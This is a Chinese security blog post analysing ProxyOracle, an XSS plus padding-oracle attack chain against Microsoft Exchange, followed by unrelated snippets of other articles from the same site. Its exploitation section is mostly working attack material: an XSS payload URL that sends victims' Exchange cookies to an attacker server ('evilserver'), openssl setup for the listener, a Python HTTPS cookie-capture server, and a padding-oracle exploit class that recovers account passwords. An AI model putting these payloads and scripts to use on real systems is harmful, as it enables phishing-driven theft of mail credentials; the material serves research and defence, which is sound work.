ProxyOracle漏洞分析

VSole2021-12-07 14:03:00

NO.1 前言

2021年8月份,oracle又公开了代理漏洞ProxyOracle、ProxyShell。本文则分析ProxyOracle具体的一些攻击细节。

NO.2 漏洞分析

ProxyOracle包含两个漏洞:

· CVE-2021-31195 - 反射型XSS

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195

· CVE-2021-31196 - 对Exchange Cookie的Padding Oracle 攻击

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196

漏洞利用链:攻击者构造恶意链接发送邮件给受害者并引诱受害者点击,受害者点击恶意链接后触发XSS漏洞将用户的Cookie发送至攻击者指定的地址,攻击者获取到Cookie后使用Padding Oracle攻击获取受害者的明文账号密码。

获取Exchange Cookie

通过ProxyLogon的学习可以知道,X-BEResource存在SSRF漏洞,但是在利用的时候存在一个缺陷,就是只能够访问FQDN地址,对于IP地址则请求无效。

但还有一个存在SSRF的字段。X-AnonResource-Backend; X-AnonResource可以请求任意地址,但只能够请求HTTPS请求。

在看orange演示视频时,他使用的监听端口是HTTP 8080,难道还有另一个SSRF?

Padding Oracle攻击

根据加解密时是否用同一组密钥,可以分为对称加密和非对称加密。对称加密中又存在流加密与分组加密两种加密方法。

常见的对称加密算法:DES,AES等,最常用的非对称加密算法:RSA。

对称加密中,常见的分组加密有六种工作模式(ECB、CBC、PCBC、CFB、OFB、CTR)。

在密码学中,分组加密(英语:Block cipher),又称分块加密或块密码,是一种对称密钥算法对称密钥算法。它将明文分成多个等长的模块(block),使用确定的算法和对称密钥对每组分别加密解密。

加密时可以使用多种填充规则,但最常见的填充方式之一是在PKCS#5标准中定义的规则。PCKS#5的填充方式为:明文的最后一个数据块包含N个字节的填充数据(N取决于明文最后一块的数据长度)。下图是一些示例,展示了不同长度的单词(FIG、BANANA、AVOCADO、PLANTAIN、PASSIONFRUIT)以及它们使用PKCS#5填充后的结果(每个数据块为8字节长)。

每个字符串都会进行填充,至少一个,最多8个。

· 一个0x01(0x01)

· 两个0x02(0x02,0x02)

· 三个0x03(0x03,0x03,0x03)

· 四个0x04(0x04,0x04,0x04,0x04)

· ......

在分组加密中,CBC模式是密码分组链接模式。它的加解密工作流程如下:

· IV为一串与分块大小相同的随机值。除了第一块是随机生成的,后面的每一块IV都是前一块的密文

· Key为对称加密密钥

那么它的加密流程为:明文首先与IV进行异或,异或结果我们称之为中间值,中间值再与Key进行对称加密,这个结果就是密文,也是下一块的IV。

解密流程:密文与Key密钥进行解密得到中间值,中间值与IV进行异或便得到明文。

了解数据填充后,再说一下填充攻击。Padding Oracle需要两个必要条件:

· 密文的解密成功和失败,会出现不一样的响应结果

· 使用了CBC模式的加密模式

Padding Oracle攻击原理其实与暴力破解类似。在暴力破解中,我们可以通过"密码不正确"、"该用户没有访问权限"来判断暴力破解是否成功。

正常的程序流程应该为:程序将解密好的数据给后续的业务代码进行分析,判断该数据是否符合业务要求,比如说验证Cookie是否正确或者验证账号密码是否正确。这里其实有两个判断,第一个为判断解密是否成功,第二个是解密后的数据是否符合要求。在Padding Oracle中我们不需要考虑解密后的数据是否符合要求,我们只需要利用解密是否成功的不同返回来判断填充是否正确。

那么我们可以得到以下结论:

· 填充正确,解密正确,业务代码通过,返回200

· 填充不正确,解密不正确,业务代码不通过,返回500

· 填充正确,解密正确,业务代码不通过,返回200或300或其他与填充正确不一样的数据

Padding Oracle攻击通过填充是否正确的返回值判断是否解密成功,最终还原出明文。更详细的攻击就不过多说明。

反射型XSS攻击

https://exchange/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//

根据orange所说的,使用ProxyLogon并添加我们恶意服务器的地址,Exchange就会成为我们的代理并发送受保护的 HttpOnly cookie。

https://Exchange/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`X-AnonResource-Backend=@evilserver:443/2.php~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//

NO.3 漏洞利用

Padding Oracle已经有成熟的攻击脚本了,我们只需要处理判断填充是否成功。由于SSRF只能发起HTTPS请求,所以需要器HTTPS服务进行监听。

开启HTTPS需要证书:

openssl x509 -req -days 1024 -in server.csr -signkey server.key -out server.crtopenssl req -newkey rsa:2048 -passout pass:123456 -keyout ca_rsa_private.pem -x509 -days 365 -out ca.crt -subj "/C=CN/ST=GD/L=SZ/O=COM/OU=NSP/CN=CA/emailAddress=youremail@qq.com"openssl req -newkey rsa:2048 -passout pass:server -keyout server_rsa_private.pem  -out server.csr -subj "/C=CN/ST=GD/L=SZ/O=COM/OU=NSP/CN=SERVER/emailAddress=youremail@qq.com"openssl x509 -req -days 365 -in server.csr -CA ca.crt -CAkey ca_rsa_private.pem -passin pass:123456 -CAcreateserial -out server.crtopenssl rsa -in server_rsa_private.pem -out server_rsa_private.pem.unsecure

漏洞流程大致为:攻击者发送构造好的钓鱼邮件-->受害者点击钓鱼邮件-->触发XSS漏洞并添加Cookie跳转至攻击者监听的地址-->攻击者收到Exchange Cookies-->进行Padding Oracle攻击-->得到受害者明文

首先处理监听,接收HTTPS消息:

obsoleteSSL_context = requests.packages.urllib3.util.ssl_.create_urllib3_context(ciphers=ciphers)obsoleteSSL_context.check_hostname=FalseobsoleteSSL_context.verify_mode=ssl.CERT_NONE
class ObsoleteHTTPSAdapter(HTTPAdapter):    def init_poolmanager(self, connections, maxsize, block, **pool_kwargs):        pool_kwargs['ssl_context'] = obsoleteSSL_context        return super().init_poolmanager(connections, maxsize, block=block, **pool_kwargs)
class HttpServer():    def __init__(self):        self.context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)        # 加载服务器所用证书和私钥        self.context.load_cert_chain('server.crt', 'server_rsa_private.pem.unsecure')
        # 监听端口        print('Start monitoring 0.0.0.0:443......')        with socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) as self.sock:            self.sock.bind(('0.0.0.0', 443))            self.sock.listen(5)            # 将socket打包成SSL socket,其主要工作是完成密钥协商            self.ssock = self.context.wrap_socket(self.sock, server_side=True)    def start(self):        while True:            conn, addr = self.ssock.accept()            try:                msg = conn.recv(1024*8)                self.cookie = self.get_cookie(msg)                return self.cookie                conn.close()            except Exception as e:                conn.close()                print(e)    def get_cookie(self, msg):        msg = msg.decode()        msg_list = msg.split('\r\n')        cookie_list = []        for msg in msg_list:            if msg.startswith("Cookie:"):                cookies = msg[len("Cookie:"):]                cookie = cookies.split(';')        return cookie

成功登陆邮箱后,将cadata、cadataTTL、cadataKey、cadataIV、cadataSig添加为cookie后发送到上面监听的地址,接收到消息后传入开源PaddingOracle爆破脚本解密:

# Exploit Code
class ProxyOracle(PaddingOracle):    def __init__(self, **kwargs):        super(ProxyOracle, self).__init__(**kwargs)        self.session = requests.Session()        if isObsoleteSSL:            self.session.mount(exchange_host, ObsoleteHTTPSAdapter())        if useProxy:            self.session.proxies = request_proxies        self.cipherText = original_cookie
    def test_validity(self, resp):        if resp.status_code == 302:            reason_data = resp.headers['Location']            respurl = urlparse(reason_data)            if respurl.path == "/owa/auth/logon.aspx":                respqs = parse_qs(respurl.query)                try:                    status = int(respqs['reason'][0])                    #print(status)                    if status == 2:                        #print("fail")                        return 2  # Credential Error, Invalid Account Password                    if status == 0:                        return 1  # Padding Oracle, Padding Not Correct                except KeyError:                    return 3  # Unknown Error, cannot determine success or not.            else:                return 0  # No Problem, Successfully logged in.        else:            return 3  # Unknown Error, cannot determine success or not.
    def oracle(self, data, **kwargs):        # post-processing        payload_data = base64.b64encode(data)        # set correct cookie        request_cookies['cadata'] = payload_data.decode()        # asking for web        resp = self.session.get(exchange_host + exchange_path, verify=False, allow_redirects=False, headers=request_headers, cookies=request_cookies)        # check if plaintext is recovered        chkstatus = self.test_validity(resp)        if chkstatus == 2:            #logging.info("[Triggered - Byte Found] Credential Error, Invalid Account Password")            return        elif chkstatus == 1:            raise BadPaddingException        elif chkstatus == 0:            self.history.append(data)            #logging.info("[Triggered - Byte Found] Padding Oracle Found: {} ", data)            return        else:            #logging.error("Unknown Error, cannot determine success or not.")            sys.exit(1)

NO.4 缓解措施

1.更新最新补丁

2.不轻易点击未知文件或链接

NO.5 参考

https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html

https://hosch3n.github.io/2021/08/23/ProxyOracle%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://hosch3n.github.io/2021/08/10/PaddingOracle%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86/

https://github.com/mpgn/Padding-oracle-attack

https://www.mi1k7ea.com/2020/09/17/%E6%B5%85%E6%9E%90CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB%E4%B8%8EPadding-Oracle-Attack/#%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86

https://github.com/mwielgoszewski/python-paddingoracle

http://blog.topsec.com.cn/padding-oracle%E5%8E%9F%E7%90%86%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90/

http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html

cookiepadding
本作品采用《CC 协议》,转载必须注明作者和本文链接
ProxyOracle漏洞分析
2021-12-07 14:03:00
NO.1 前言2021年8月份,oracle又公开了代理漏洞ProxyOracle、ProxyShell。本文则分析ProxyOracle具体的一些攻击细节。Padding Oracle攻击根据加解密时是否用同一组密钥,可以分为对称加密和非对称加密。对称加密中又存在流加密与分组加密两种加密方法。
一次成功的Shiro Padding Oracle需要一直向服务器不断发包,判断服务器返回,攻击时间通常需要几个小时。因为这些程序没有对发包失败抛出异常的情况做出处理,从而导致工具停止工作。最终,攻击成功了,我虚拟机下花了不到1小时共计完成,但是在真实生产环境测试,攻击成功一次DNS或者JRMPClient攻击,程序需要跑大约4个小时左右,2次攻击加起来近9个小时。
Padre是一款功能强大的高级Padding Oracle安全测试工具,在该工具的帮助下,广大研究人员可以轻松针对CBC模式加密执行Padding Oracle攻击测试,以审查和测试目标加密模式的安全性。
渗透测试面试指南
2022-05-21 22:11:08
前言一开始会问问你在工作中负责的是什么工作,参与过哪些项目。还有些会问问你之前有没有护网的经历,如果没有的话一般都会被定到初级。下面就是一些技术上的问题了SQL注入的分类Boolean盲注。正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端.
面试题记录
2021-12-12 06:44:03
前言一开始会问问你在工作中负责的是什么工作,参与过哪些项目。还有些会问问你之前有没有护网的经历,如果没有的话一般都会被定到初级。下面就是一些技术上的问题了SQL注入的分类Boolean盲注。正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端.
对blackhat和defcon一些感兴趣的议题做了一些小结。静态分析blackhat里面一个静态分析引擎的
js逆向一直没有相关了解,虽然目前渗透遇见的不是很多,大多数遇见的要么不加密,要么无法实现其加密流程,不过最近看到了一个较为简单的站点正好能够逆向出来,就做了简单记录。本文旨在介绍js逆向的一些基础思路,希望能对初学js前端逆向的师傅有所帮助。
这篇文章主要是通过前端JS来寻找接口进行测试,寻找漏洞成功进入后台后,进行后台文件上传html。仅供学习。
这是 CyBRICS CTF 2021 中的一个难度为 Hard 的 Web 题(其实是 Crypto 密码题)。由于作者的某些原因,这个题目在比赛结束都是零解。
C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台\天府科技云服务平台.apkC:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe?文件将解压出来的classes.dex文件拷贝到dex2jar工具文件夹中执行命令:d2j-dex2jar classes.dex执行完毕后,得到反编译而来的classes-dex2jar.jar文件使用jd-gui.exe或者luyten-0.5.4打开 classes-dex2jar.jar文件,得到360安全加固混淆加密的源代码。应同时使用V1+V2签名)6.应用完整性校检将反编译出来源码中修改图片文件名为test.png进行重新生成apk包,命令如下:java -jar apktool.jar b -f?
VSole
网络安全专家